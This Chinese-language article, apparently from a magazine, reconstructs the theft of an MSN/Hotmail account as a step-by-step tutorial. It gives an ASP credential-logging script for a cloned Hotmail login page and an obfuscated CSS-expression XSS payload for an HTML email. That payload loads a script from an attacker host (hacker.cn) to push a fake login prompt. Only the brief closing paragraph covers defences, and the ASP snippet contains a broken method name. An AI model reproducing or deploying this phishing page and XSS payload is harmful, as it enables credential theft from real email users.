“跨站入侵”罪案还原:跨站入侵MSN盗号
我们根据网友提供的线索,对他的MSN账号的丢失进行罪案还原,并推理黑客是如何盗取他的MSN账号的。
第一步:黑客先要制作一个和Hotmail登录界面一样的伪造网页。登录Hotmail的官方网站,然后点击菜单栏中的“文件”,在弹出的下拉菜单中选择“另存为”,将网页保存下来。然后使用Dreamweaver 等网页编辑程序打开保存下来的网页(图1),找到输入用户名和密码的位置,加入下面这段用户名和密码的窃取代码:
图1<%
bbsuser =request("bbsuser ")
bbspwd =request("bbspwd ")
set fs=server.CreateObject("Scripting.FileSystemObject")
//开启文件服务
set file=fs.OpenTaxtFile(server.MapPath("Hotmail.txt"),8,True)
//创建打开"Hotmail.txt"
file.writeline bbsuser +"----"+ bbspwd
//将获得的用户名密码写入"Hotmail.txt"
file.close
set file=nothing
set fs=nothing
%>
然后将Hotmail原页面中的本地链接地址和相关参数修改,让图片都能够正常显示,最后将该网页另存为“index.asp”并上传到黑客自己的网站。
第二步:伪装页面做好了,接下来黑客就会制作跨站的Hotmail 电子邮件。一般黑客会选择可以直接在邮件中编辑HTML代码的软件,例如DreamMail。启动DreamMail后,新建一个支持POP3的电子信箱地址。
然后点击DreamMail菜单栏“查看”中的“切换到豪华版本”选项,又用DreamMail新建一封HTML空白邮件,在邮件的内容页面中点击右键,选择“编辑HTML源代码”,在弹出的HTML源代码编辑窗口中输入以下XSS跨站代码:
<font color="ffffff">
<div id="jmp" style="display:none">nop</div>
<div id="ly" style="display:none">function ok(){return true};window.onerror=ok</div>
<div id="tip" title="<a style="display:none">" style="display:none"></div>
<div id="tap" title="<" style="display:none"></div>
<div id="tep" title=">" style="display:none"></div>
<style>div{background-image:exPRession(javascript:1?document.write(EC_tip.title+';top:'+EC_tap.title+'/a'+EC_tep.title+EC_tap.title+'script id=nop'+EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+EC_tep.title+EC_tap.title+'script src=http://www.hacker.cn/test/index.asp?uid=miaodeyu@Hotmail.com'+EC_tep.title+EC_tap.title+'/script'+EC_tep.title):1=1);}</style></font>
在这段代码中,黑客会根据自己伪装网页的地址和电子邮件更改“http://www.hacker.cn/test/index.asp?uid=miaodeyu@Hotmail.com” 链接地址。邮件编辑好之后点击“确定”即可就完成了跨站邮件是制作。
第三步:黑客会给自己的这封邮件起一个响亮诱人的名字,然后发送到受害者的MSN邮箱中,当受害者用Hotmail查看这封邮件后,会弹出Hotmail登录框诱骗你输入账号和密码登录。受害者警惕性弱,就会在该恶意页面中输入账号和密码,这些信息没有发送到微软的服务器上,而是悄悄地发送到黑客那里了(图2)。
图2跨站防范方案
要防范XSS跨站攻击,普通用户除了不要点击陌生的来信和网络链接外,最好关闭浏览器的 Javascript 功能。此外,还可以将IE的安全级别设置为最高,这样还可以防止Cookie被盗。网站管理者在制作网页时,要注意过滤用户输入的特殊字符,这样就可以避免大部分的XSS攻击了。如果网络管理者发现有针对自己网站的跨站攻击,就要及时对被跨站的程序进行修补。